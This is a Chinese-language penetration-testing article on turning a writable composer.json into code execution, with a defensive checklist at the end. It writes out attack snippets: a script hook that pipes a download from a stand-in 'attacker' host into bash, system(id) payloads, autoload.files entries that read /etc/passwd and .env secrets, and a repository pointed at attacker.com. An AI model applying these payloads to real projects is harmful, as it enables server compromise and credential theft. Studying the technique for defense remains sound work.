composer.json 可写场景下的利用手段

composer.json 可写场景下的利用手段 一、攻击的本质从配置文件到代码执行在 PHP 项目中composer.json不仅是依赖声明文件更是 Composer 自动加载机制的核心配置来源。当攻击者获得该文件的写入权限时实际上获得了在目标服务器上执行任意 PHP 代码的多种路径。vendor/autoload.php本身是一个安全的引导文件每次composer dump-autoload都会被重写本身不包含危险逻辑。但攻击者可以利用 Composer 的各种配置机制让这个加载过程变为后门入口。二、autoload.files最直接的预加载攻击2.1 攻击原理autoload.files是 Composer 中唯一的预加载机制。被列入该数组的文件会在每次require vendor/autoload.php时无条件执行不检查类是否存在不走 PSR-4 规则纯 PHP 文件直读。攻击者在composer.json中写入{autoload:{files:[themes/demo/assets/js/shell.js]}}随后运行composer dump-autoload重新生成加载器。vendor/autoload.php将包含require__DIR__./.../themes/demo/assets/js/shell.js;2.2 现实案例Laravel-Lang 供应链攻击2026 年 5 月攻击者通过 GitHub 标签重写攻击篡改了 Laravel-Lang 生态中四个 Composer 包的 233 个版本注入恶意src/helpers.php文件。该恶意文件正是通过autoload.files指令实现自动加载在 Laravel 应用的每个 HTTP 请求中执行。该恶意文件包含以下特征伪装成合法的 localization 函数包含laravel_lang_locale()和laravel_lang_fallback()作为掩护通过字节数组拼接 C2 地址flipboxstudio[.]info规避明文扫描使用主机指纹生成标记文件基于安装目录、php_uname(n)、文件 inode 的 MD5实现单次执行后台下载并执行 stage-two payload通过exec(php ... /dev/null 21 )在 Linux/macOS 上静默运行使用错误抑制符确保无警告写入 PHP-FPM 或 error_log最终 payload 是包含 15 个采集模块的 PHP 凭证窃取器目标包括云访问密钥、Kubernetes 配置、SSH 私钥、Git 凭证、浏览器密码和加密钱包。2.3 LFI 组合拳除直接写入恶意 PHP 代码外autoload.files还可用于读取敏感文件{autoload:{files:[/etc/passwd,/var/www/.env,../../../.env]}}通过require_once加载已有敏感文件读取环境变量、APP_KEY、数据库凭证等。常见可读目标包括.env、.docker/config.json、.npm/package-lock.json等。三、脚本 HooksComposer 生命周期中的执行点3.1 可用 HooksComposer 在多个生命周期阶段支持执行自定义命令{scripts:{pre-autoload-dump:[php shell.php],post-autoload-dump:[system(id)],pre-update-cmd:[curl http://attacker/shell.sh | bash],post-update-cmd:[python3 -c import os;os.system(\id\)]}}触发时机包括任何composer update或composer dump-autoload操作。3.2 注意事项某些 CMS如 October CMS 4.3.5的 JSON 验证策略会过滤scripts段导致自定义脚本不生效。此外config.allow-plugins策略也会影响脚本执行。四、命名空间劫持类加载层面的潜伏攻击4.1 classmap 劫持{autoload:{classmap:[themes/demo/assets/js/]}}在可控目录下放置同名类文件如Illuminate\\Http\\Request.php若该类未被其他 autoload 注册且被框架实际引用则可能覆盖框架类。4.2 PSR-4 空命名空间劫持{autoload:{psr-4:{:themes/demo/assets/js/}}}空命名空间映射到可控目录后任何未在其他 autoload 中注册但被require的类都会从该目录加载。难点在于找到具体可劫持的类。五、远程包劫持供应链层面的纵深攻击5.1 恶意包安装{require:{attacker/malicious:1.0.0},repositories:[{type:composer,url:http://attacker.com/packagist/}]}通过自定义repositories指向攻击者控制的 Packagist 镜像诱导 Composer 安装恶意包。5.2 Composer Plugin 执行代码恶意包可通过composer-plugin类型在安装过程中执行代码{name:attacker/malicious,version:1.0.0,type:composer-plugin,autoload:{classmap:[src/]}}src/Plugin.php中的activate()方法可在composer install时被触发。2025 年的攻击趋势中插件 hook 利用已成为 Composer 生态中最常见的凭据窃取向量。5.3 依赖混淆攻击Composer 默认检查 Packagist.org 的行为使攻击者能够在公共仓库上发布与私有包同名的恶意包。当私有包名称未被认领时Composer 会从公共源拉取攻击者发布的版本并执行其 autoload 代码。5.4 前提条件靶机需有外网访问能力需要搭建伪造 Packagist 镜像config.allow-plugins需允许插件安装六、Composer 自身漏洞配置文件即攻击面Composer 自身历史漏洞表明即使不借助上述机制恶意composer.json也可直接导致代码执行CVE描述影响版本CVE-2021-41116config.platform值注入 PHP 代码到platform_check.php自动执行 1.10.26 / 2.1.9CVE-2023-43655web 可访问的composer.phar在register_argc_argv启用时可 RCE 2.6.4 / 2.2.22 / 1.10.27CVE-2026-40176Perforce VCS 仓库参数命令注入1.0-2.2.26 / 2.3-2.9.5其中 CVE-2026-40176 尤为值得关注攻击者只需在恶意composer.json中声明一个 Perforce VCS 仓库在port、user、client参数中注入 shell 命令即使 Perforce 未安装也能执行。VCS 仓库仅从根composer.json加载这意味着该漏洞无法通过依赖包的composer.json利用但若攻击者可直接修改项目根目录的配置文件则风险极高。七、config 段权限放行与持久化辅助{config:{allow-plugins:{*:true},process-timeout:3600}}allow-plugins设置为true会关闭全部防护允许任意 Composer 插件在install/update时执行代码。生产环境应使用精确的vendor/name白名单。process-timeout可防止命令执行超时被杀死。八、攻击路径对照总览手段外网需求可行性复杂度触发时机autoload.files→ RCE否高 ✓★☆☆任意请求require autoload.phpautoload.files→ LFI 读文件否高 ✓★☆☆任意请求autoload.classmap类劫持否低★★★特定类被引用时autoload.psr-4命名空间劫持否低★★★特定类被引用时Composer scripts hooks否视配置而定★☆☆composer 命令执行时远程恶意包劫持是中★★★★composer install/updateCVE-2021-41116platform 注入否中★★☆任意请求CVE-2026-40176Perforce 注入否中★★☆composer 命令执行时九、防御建议严格审计 autoload.files检查所有composer.json中的files字段确保路径指向无副作用的函数/常量定义文件禁止引入包含eval、system、$_GET/$_POST处理的脚本。生产环境禁用插件使用composer install --no-plugins --no-dev --prefer-dist。插件白名单不允许allow-plugins: true应精确到vendor/name。验证 vendor 完整性CI 流水线中运行composer install --dry-run --verbose比对composer.lock记录的哈希与实际文件。更新 Composer 版本确保使用最新稳定版本修复已知 CVECVE-2021-41116、CVE-2023-43655、CVE-2026-40176 等。不将 composer.phar 暴露到 Web避免register_argc_argv开启时的 RCE 风险。审计 .env 等敏感文件权限防止 LFI 组合读取。监控出站流量检查对可疑域名的连接如flipboxstudio[.]info。十、总结composer.json可写场景下攻击面远比表面看起来广阔。从最直接的autoload.files预加载 RCE到复杂的远程包劫持和 Composer 自身漏洞利用攻击者拥有多层路径实现代码执行。对于实际渗透测试场景autoload.files向可写目录注入恶意 PHP 文件是最简单高效的路径——无需外网、无需依赖其他条件、任意请求触发。而对于防御方关键不在于保护vendor/autoload.php本身而在于对composer.json配置变更的严格审计和 Composer 运行环境的权限控制。